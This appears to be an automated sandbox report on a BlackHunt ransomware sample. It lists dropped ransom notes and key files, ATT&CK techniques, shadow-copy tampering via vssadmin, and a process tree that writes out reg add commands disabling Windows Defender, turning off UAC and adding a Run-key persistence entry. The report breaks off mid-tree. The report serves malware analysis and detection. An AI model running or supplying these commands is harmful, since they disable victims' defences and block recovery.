File opened for modification	C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\vlc.mo	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uz-cyrl.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_zh_HK.properties	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Chicago	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-api-search_ja.jar	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\MSBuild\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files (x86)\Google\Update\Install\{816A3475-9C83-4071-ADF3-DF13B538F008}\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1253.TXT	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\#BlackHunt_Private.key	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Nicosia	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-sendopts_ja.jar	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-sampler.xml	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.nl_ja_4.4.0.v20140623020002.jar	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPTSFrame.png	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jmx_zh_CN.jar	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Athens	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\requests\status.xml	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\youtube.luac	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\skins\fonts\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jre7\lib\ext\zipfs.jar	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\Java\jre7\lib\zi\SystemV\#BlackHunt_Private.key	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Port_of_Spain	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\lua\meta\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Cuiaba	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\lua\intf\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Tijuana	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.operations.nl_ja_4.4.0.v20140623020002.jar	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.compatibility.state_1.0.1.v20140709-1414.jar	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\sa-jdi.jar	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ff\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainBackground.wmv	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.security.ui_1.1.200.v20130626-2037.jar	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\#BlackHunt_Private.key	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng.hyp	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\7-Zip\Lang\an.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\bin\startNetworkServer	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface_3.10.1.v20140813-1009.jar	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\UninstallClose.jpeg	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\or\#BlackHunt_Private.key	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\cue.luac	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2280	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2284	vssadmin.exe
2860	vssadmin.exe
2676	vssadmin.exe
2832	vssadmin.exe
2824	vssadmin.exe
2444	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2452	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2112	PING.EXE

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
Token: SeRestorePrivilege	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
Token: SeBackupPrivilege	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
Token: SeTakeOwnershipPrivilege	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
Token: SeAuditPrivilege	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
Token: SeSecurityPrivilege	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
Token: SeIncBasePriorityPrivilege	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
Token: SeBackupPrivilege	3028	vssvc.exe
Token: SeRestorePrivilege	3028	vssvc.exe
Token: SeAuditPrivilege	3028	vssvc.exe
Token: SeBackupPrivilege	2920	wbengine.exe
Token: SeRestorePrivilege	2920	wbengine.exe
Token: SeSecurityPrivilege	2920	wbengine.exe
Token: SeSecurityPrivilege	992	wevtutil.exe
Token: SeSecurityPrivilege	1296	wevtutil.exe
Token: SeBackupPrivilege	992	wevtutil.exe
Token: SeBackupPrivilege	1296	wevtutil.exe
Token: SeSecurityPrivilege	644	wevtutil.exe
Token: SeBackupPrivilege	644	wevtutil.exe
Token: SeSecurityPrivilege	2916	wevtutil.exe
Token: SeBackupPrivilege	2916	wevtutil.exe
Token: SeSecurityPrivilege	2136	wevtutil.exe
Token: SeBackupPrivilege	2136	wevtutil.exe
Token: SeDebugPrivilege	2452	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2364 wrote to memory of 2712	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	29
PID 2364 wrote to memory of 2712	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	29
PID 2364 wrote to memory of 2712	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	29
PID 2364 wrote to memory of 2712	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	29
PID 2364 wrote to memory of 2792	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	31
PID 2364 wrote to memory of 2792	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	31
PID 2364 wrote to memory of 2792	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	31
PID 2364 wrote to memory of 2792	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	31
PID 2712 wrote to memory of 2828	2712	cmd.exe	33
PID 2712 wrote to memory of 2828	2712	cmd.exe	33
PID 2712 wrote to memory of 2828	2712	cmd.exe	33
PID 2364 wrote to memory of 2716	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	34
PID 2364 wrote to memory of 2716	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	34
PID 2364 wrote to memory of 2716	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	34
PID 2364 wrote to memory of 2716	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	34
PID 2792 wrote to memory of 2572	2792	cmd.exe	37
PID 2792 wrote to memory of 2572	2792	cmd.exe	37
PID 2792 wrote to memory of 2572	2792	cmd.exe	37
PID 2364 wrote to memory of 3060	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	36
PID 2364 wrote to memory of 3060	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	36
PID 2364 wrote to memory of 3060	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	36
PID 2364 wrote to memory of 3060	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	36
PID 2364 wrote to memory of 2724	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	153
PID 2364 wrote to memory of 2724	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	153
PID 2364 wrote to memory of 2724	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	153
PID 2364 wrote to memory of 2724	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	153
PID 2364 wrote to memory of 2588	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	42
PID 2364 wrote to memory of 2588	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	42
PID 2364 wrote to memory of 2588	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	42
PID 2364 wrote to memory of 2588	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	42
PID 2716 wrote to memory of 2804	2716	cmd.exe	41
PID 2716 wrote to memory of 2804	2716	cmd.exe	41
PID 2716 wrote to memory of 2804	2716	cmd.exe	41
PID 2364 wrote to memory of 1664	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	43
PID 2364 wrote to memory of 1664	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	43
PID 2364 wrote to memory of 1664	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	43
PID 2364 wrote to memory of 1664	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	43
PID 2724 wrote to memory of 2772	2724	vdsldr.exe	44
PID 2724 wrote to memory of 2772	2724	vdsldr.exe	44
PID 2724 wrote to memory of 2772	2724	vdsldr.exe	44
PID 2364 wrote to memory of 2832	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	143
PID 2364 wrote to memory of 2832	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	143
PID 2364 wrote to memory of 2832	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	143
PID 2364 wrote to memory of 2832	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	143
PID 3060 wrote to memory of 2612	3060	cmd.exe	47
PID 3060 wrote to memory of 2612	3060	cmd.exe	47
PID 3060 wrote to memory of 2612	3060	cmd.exe	47
PID 2364 wrote to memory of 2584	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	50
PID 2364 wrote to memory of 2584	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	50
PID 2364 wrote to memory of 2584	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	50
PID 2364 wrote to memory of 2584	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	50
PID 2364 wrote to memory of 1264	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	52
PID 2364 wrote to memory of 1264	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	52
PID 2364 wrote to memory of 1264	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	52
PID 2364 wrote to memory of 1264	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	52
PID 2588 wrote to memory of 2980	2588	cmd.exe	147
PID 2588 wrote to memory of 2980	2588	cmd.exe	147
PID 2588 wrote to memory of 2980	2588	cmd.exe	147
PID 2364 wrote to memory of 3032	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	55
PID 2364 wrote to memory of 3032	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	55
PID 2364 wrote to memory of 3032	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	55
PID 2364 wrote to memory of 3032	2364	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	55
PID 1664 wrote to memory of 1964	1664	cmd.exe	56
PID 1664 wrote to memory of 1964	1664	cmd.exe	56

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
"C:\Users\Admin\AppData\Local\Temp\5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3060
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1664
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2832
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2584
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:1264
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:3032
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2992
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:1020
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1204
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2616
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1480
- C:\Windows\System32\cmd.exe
